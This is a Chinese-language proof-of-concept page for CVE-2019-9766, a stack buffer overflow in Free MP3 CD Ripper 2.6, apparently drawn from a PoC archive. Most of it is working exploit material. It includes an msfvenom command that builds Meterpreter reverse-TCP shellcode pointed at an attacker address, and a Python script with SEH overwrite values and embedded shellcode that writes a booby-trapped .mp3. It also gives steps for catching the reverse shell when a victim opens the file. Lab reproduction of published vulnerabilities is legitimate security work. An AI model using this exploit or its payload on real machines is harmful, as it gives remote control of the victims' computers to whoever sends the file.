CVE-2019-9766 PoC — Free MP3 CD Ripper 缓冲区错误漏洞

Source

Associated Vulnerability

Description

Free MP3 CD Ripper 2.6 版本中存在栈缓冲区溢出漏洞 (CVE-2019-9766)，远程攻击者可借助特制的 .mp3 文件利用该漏洞执行任意代码。

Readme

# CVE-2019-9766

利用 Free MP3 CD Ripper2.6 版本存在的缓冲区溢出漏洞，构造特殊的 MP3 文件，攻击者在使用播放器进行播放时，音频文件蜜饵利用缓冲区溢出漏洞执行任意代码。

## 复现

攻击机：kali201903 (192.168.198.142)

受害机：windows10 21H1 (192.168.198.137)

在受害机上安装好 Free MP3 CD Ripper 2.6，在 kali 机上利用 MSF 生成反向连接 shellcode：

```bash
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.198.142 lport=888 -f c --smallest
```

![image-20220914095217904](https://user-images.githubusercontent.com/65578786/190044303-edef1acf-b5e3-47dc-a0bf-f3713f4a2e45.png)

将上述生成的 payload 替换下面这段代码中的 payload

```python
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6e\x84"
buf += "\x68\x02\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

pad = "B" * (316 - len(nops) - len(buf))
payload = buffer + NSEH + SEH + nops + buf + pad
try:
    f = open("Test_Free_MP3.mp3","w")
    print "[+]Creating %s bytes mp3 Files..."%len(payload)
    f.write(payload)
    f.close() 
    print "[+]mp3 File created successfully!"
except:
    print "File cannot be created!"
```

运行脚本，生成一个 .mp3 文件：

![image-20220914095432399](https://user-images.githubusercontent.com/65578786/190044366-e7e2f51c-8e05-466b-ad1b-cc9ac7727e94.png)

将此 mp3 文件移动到受害机上，接下来在 kali 机上启动 MSF 控制台，设置下参数，如下：

![image-20220914095709754](https://user-images.githubusercontent.com/65578786/190044401-94d4d22e-ede8-469c-bc4e-70f33aebb64d.png)

设置好后开始监听，受害机上用软件打开 mp3 文件，反弹 shell 成功：

![image-20220914100209829](https://user-images.githubusercontent.com/65578786/190044428-25c43ec2-f191-495e-84f4-08e141981579.png)

**注**：只能用 Kali2019 版本才行，kali 2020 及其后都失败 (与 MSF 版本有关)，另外需在 windows10 下，windows7 下验证失败 (均 64 位)

参考：https://www.code456.com/article/1464254.html

File Snapshot

 [4.0K]  /data/pocs/f6a12ceb617bfc4c9ab2470b38d506549c8f21b6
├── [1.4M]  FMCRSetup2.6.exe
└── [3.3K]  README.md

0 directories, 2 files

Remarks